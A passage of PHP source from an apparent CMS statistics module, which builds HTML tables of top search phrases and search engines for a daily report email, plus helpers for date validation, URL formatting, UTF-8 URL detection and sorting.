					<td valign="top" align="center" class="tablehead3" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TOTAL_1").'</font></td>
				</tr>
			';
				$i = 0;
				$total_TODAY_PHRASES = 0;
				$total_YESTERDAY_PHRASES = 0;
				$total_B_YESTERDAY_PHRASES = 0;
				$total_TOTAL_PHRASES = 0;
				while ($pr = $phrases->GetNext()) :
					$i++;
					$total_TODAY_PHRASES += $pr["TODAY_PHRASES"];
					$total_YESTERDAY_PHRASES += $pr["YESTERDAY_PHRASES"];
					$total_B_YESTERDAY_PHRASES += $pr["B_YESTERDAY_PHRASES"];
					$total_TOTAL_PHRASES += $pr["TOTAL_PHRASES"];
					if ($i<=10) :
				$HTML_PHRASES .= '
				<tr valign="top">
					<td valign="top" class="tablebody1" width="0%" nowrap><font class="tablebodytext">'.TruncateText($pr["PHRASE"],50).'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($pr["TODAY_PHRASES"]>0 ? $pr["TODAY_PHRASES"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($pr["YESTERDAY_PHRASES"]>0 ? $pr["YESTERDAY_PHRASES"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($pr["B_YESTERDAY_PHRASES"]>0 ? $pr["B_YESTERDAY_PHRASES"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3"><font class="tablebodytext">'.($pr["TOTAL_PHRASES"]>0 ? $pr["TOTAL_PHRASES"] : "&nbsp;").'</font></td>
				</tr>
				';
					endif;
				endwhile;
				$HTML_PHRASES .= '
				<tr valign="top">
					<td align="right" class="tablebody1_sel" style="padding:3px"><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_TODAY_PHRASES>0 ? $total_TODAY_PHRASES : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_YESTERDAY_PHRASES>0 ? $total_YESTERDAY_PHRASES : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_B_YESTERDAY_PHRASES>0 ? $total_B_YESTERDAY_PHRASES : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3_sel" style="padding:3px"><font class="tablebodytext">'.($total_TOTAL_PHRASES>0 ? $total_TOTAL_PHRASES : "&nbsp;").'</font></td>
			</table>
			';

		$HTML_SEARCHERS = '
			<font class="tablebodytext">'.GetMessage("STAT_SITE_INDEXING").' (Top 10):</font><br>
			<table border="0" cellspacing="1" cellpadding="3" width="100%">
				<tr>
					<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_SEARCHER").'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead3" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TOTAL_1").'</font></td>
				</tr>
			';
			$i = 0;
			$total_TODAY_HITS = 0;
			$total_YESTERDAY_HITS = 0;
			$total_B_YESTERDAY_HITS = 0;
			$total_TOTAL_HITS = 0;
			while ($fr = $searchers->Fetch()) :
				$i++;
				$total_TODAY_HITS += $fr["TODAY_HITS"];
				$total_YESTERDAY_HITS += $fr["YESTERDAY_HITS"];
				$total_B_YESTERDAY_HITS += $fr["B_YESTERDAY_HITS"];
				$total_TOTAL_HITS += $fr["TOTAL_HITS"];
				if ($i<=10) :
				$HTML_SEARCHERS .= '
				<tr valign="top">
					<td valign="top" class="tablebody1" width="0%" nowrap><font class="tablebodytext">'.$fr["NAME"].'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($fr["TODAY_HITS"]>0 ? $fr["TODAY_HITS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($fr["YESTERDAY_HITS"]>0 ? $fr["YESTERDAY_HITS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($fr["B_YESTERDAY_HITS"]>0 ? $fr["B_YESTERDAY_HITS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3"><font class="tablebodytext">'.($fr["TOTAL_HITS"]>0 ? $fr["TOTAL_HITS"] : "&nbsp;").'</font></td>
				</tr>
				';
					endif;
				endwhile;
				$HTML_SEARCHERS .= '
				<tr valign="top">
					<td align="right" class="tablebody1_sel" style="padding:3px"><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_TODAY_HITS>0 ? $total_TODAY_HITS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_YESTERDAY_HITS>0 ? $total_YESTERDAY_HITS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_B_YESTERDAY_HITS>0 ? $total_B_YESTERDAY_HITS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3_sel" style="padding:3px"><font class="tablebodytext">'.($total_TOTAL_HITS>0 ? $total_TOTAL_HITS : "&nbsp;").'</font></td>
			</table>
			';

		$HTML_FOOTER = '
			</body>
			</html>
			';

		$arEventFields = array(
			"SERVER_TIME"		=> $now_full_date,
			"HTML_HEADER"		=> $HTML_HEADER,
			"HTML_FOOTER"		=> $HTML_FOOTER,
			"HTML_COMMON"		=> $HTML_COMMON,
			"HTML_ADV"			=> $HTML_ADV,
			"HTML_EVENTS"		=> $HTML_EVENTS,
			"HTML_REFERERS"		=> $HTML_REFERERS,
			"HTML_PHRASES"		=> $HTML_PHRASES,
			"HTML_SEARCHERS"	=> $HTML_SEARCHERS,
			"EMAIL_TO"			=> COption::GetOptionString("main", "email_from", "")
			);

		/*
		echo $HTML_HEADER."<br>";
		echo $HTML_FOOTER."<br>";
		echo $HTML_COMMON."<br>";
		echo $HTML_ADV."<br>";
		echo $HTML_EVENTS."<br>";
		echo $HTML_REFERERS."<br>";
		echo $HTML_PHRASES."<br>";
		echo $HTML_SEARCHERS."<br>";
		die();
		*/

		CEvent::Send("STATISTIC_DAILY_REPORT", $arSite["ID"], $arEventFields);
		$MESS = $OLD_MESS;
	}
	return "SendDailyStatistics();";
}

function crc32ex($s)
{
	$c = crc32($s);
	if($c > 0x7FFFFFFF)
		$c = -(0xFFFFFFFF - $c + 1);
	return $c;
}

function AdminListCheckDate(&$lAdmin, $arDates)
{
	$DB = CDatabase::GetModuleConnection('statistic');

	$ok1 = false;
	list($id1, $date1) = each($arDates);
	if(strlen($date1)>0)
	{
		if(!CheckDateTime($date1))
		{
			if(is_object($lAdmin))
				$lAdmin->AddFilterError(GetMessage("STAT_WRONG_DATE_FROM"));
			else
				$lAdmin.=GetMessage("STAT_WRONG_DATE_FROM")."<br>";
		}
		else
		{
			$ok1 = true;
		}
	}

	$ok2 = false;
	list($id2, $date2) = each($arDates);
	if(strlen($date2)>0)
	{
		if(!CheckDateTime($date2))
		{
			if(is_object($lAdmin))
				$lAdmin->AddFilterError(GetMessage("STAT_WRONG_DATE_TILL"));
			else
				$lAdmin.=GetMessage("STAT_WRONG_DATE_TILL")."<br>";
		}
		else
		{
			$ok2 = true;
		}
	}

	if($ok1 && $ok2 && $DB->CompareDates($date1, $date2)==1)
	{
		if(is_object($lAdmin))
			$lAdmin->AddFilterError(GetMessage("STAT_FROM_TILL_DATE"));
		else
			$lAdmin.=GetMessage("STAT_FROM_TILL_DATE")."<br>";
	}

	return true;
}

function StatAdminListFormatURL($url, $arOptions = array())
{
	$new_window = false;
	if(isset($arOptions["new_window"]) && $arOptions["new_window"] == true)
		$new_window = true;

	$href_class = '';
	if(isset($arOptions["attention"]) && $arOptions["attention"] == true)
		$href_class = 'stat_attention';

	$href_title = '';
	if(isset($arOptions["title"]))
		$href_title = htmlspecialcharsEx($arOptions["title"]);

	$max_display_chars = 0;
	if(isset($arOptions["max_display_chars"]))
	{
		if($arOptions["max_display_chars"] === 'default')
			$max_display_chars = 80;
		elseif($arOptions["max_display_chars"] > 0)
			$max_display_chars = $arOptions["max_display_chars"];
	}

	$chars_per_line = 0;
	if(isset($arOptions["chars_per_line"]))
	{
		if($arOptions["chars_per_line"] === 'default')
			$chars_per_line = 33;
		elseif($arOptions["chars_per_line"] > 0)
			$chars_per_line = $arOptions["chars_per_line"];
	}

	$line_delimiter = '<br />';
	if(isset($arOptions["line_delimiter"]))
		$line_delimiter = $arOptions["line_delimiter"];

	$kill_sessid = true;
	if(isset($arOptions["kill_sessid"]))
		$kill_sessid = $arOptions["kill_sessid"];

	if($kill_sessid)
	{
		$url = preg_replace('/(sessid=[a-zA-Z0-9]+)/', '', $url);
		$url = str_replace('&&', '&', $url);
		$url = str_replace('?&', '?', $url);
		$url = trim($url, "?&");
	}

	$htmlA = '<a href="'.htmlspecialcharsEx($url).'"';

	if($new_window)
		$htmlA .= ' target="_blank"';

	if($href_class)
		$htmlA .= ' class="'.$href_class.'"';

	if($href_title)
		$htmlA .= ' title="'.$href_title.'"';

	$htmlA .= '>';

	$url_display = $url;
	if($max_display_chars > 0 && strlen($url) >= $max_display_chars)
		$url_display = substr($url, 0, intval($max_display_chars*0.7)).'...'.substr($url, -intval($max_display_chars*0.2));

	if($chars_per_line > 0)
	{
		$url_display = InsertSpaces($url_display, $chars_per_line, "\x01");
		$url_display = htmlspecialcharsbx($url_display);
		$url_display = str_replace("\x01", $line_delimiter, $url_display);
	}
	else
	{
		$url_display = htmlspecialcharsbx($url_display);
	}

	return $htmlA.$url_display.'</a>';
}

function is_utf8_url($url)
{
	//http://mail.nl.linux.org/linux-utf8/1999-09/msg00110.html
	if(preg_match_all("/(%[0-9A-F]{2})/i", $url, $match))
	{
		$arBytes = array();
		foreach($match[1] as $hex)
			$arBytes[] = hexdec(substr($hex, 1));
		$is_utf = 0;
		foreach($arBytes as $i => $byte)
		{
			if( ($byte & 0xC0) == 0x80 )
			{
				if( ($i > 0) && (($arBytes[$i-1] & 0xC0) == 0xC0) )
					$is_utf++;
				elseif( ($i > 0) && (($arBytes[$i-1] & 0x80) == 0x00) )
					$is_utf--;
			}
			elseif( ($i > 0) && (($arBytes[$i-1] & 0xC0) == 0xC0) )
			{
					$is_utf--;
			}
		}
		return $is_utf > 0;
	}
	else
	{
		return false;
	}
}
/*
$arTest = array(
	"http://bsm6.business.ru.mysql.max/bitrix/admin/php_command_line.php?lang=ru", //ASCII
	"http://www.yandex.ru/yandsearch?text=%D0%B1%D1%8B%D0%BB%D0%BE+", //Yndex utf
	"http://www.yandex.ru/yandsearch?text=%E1%E8%F2&rpt=rad", //Yandex koi
	"http://www.google.cn/search?hl=zh-CN&ie=GB2312&q=%CB%F9%D3%D0%CD%F8%D2%B3&btnG=Google+%CB%D1%CB%F7&meta=", //China multibyte
	"http://www.google.ru/search?hl=ru&q=%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%82&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=f", //russian utf
);
foreach($arTest as $test)
{
	echo $test,":",(is_utf8_url($test)? "Y": "N"),"<hr>\n";
}
*/

class CStatisticSort
{
	var $field = false;

	function __construct($field = "")
	{
		$this->field = $field;
	}

	public static function Sort(&$ar, $field)
	{
		$sort = new CStatisticSort($field);
		uasort($ar, array($sort, "Compare"));
	}

	function Compare($ar1, $ar2)
	{
		if($ar1[$this->field] < $ar2[$this->field])
			return 1;
		if($ar1[$this->field] > $ar2[$this->field])
			return -1;
		if($ar1["CITY_ID"] < $ar2["CITY_ID"])
			return -1;
		if($ar1["CITY_ID"] > $ar2["CITY_ID"])
			return 1;
		return 0;
	}
}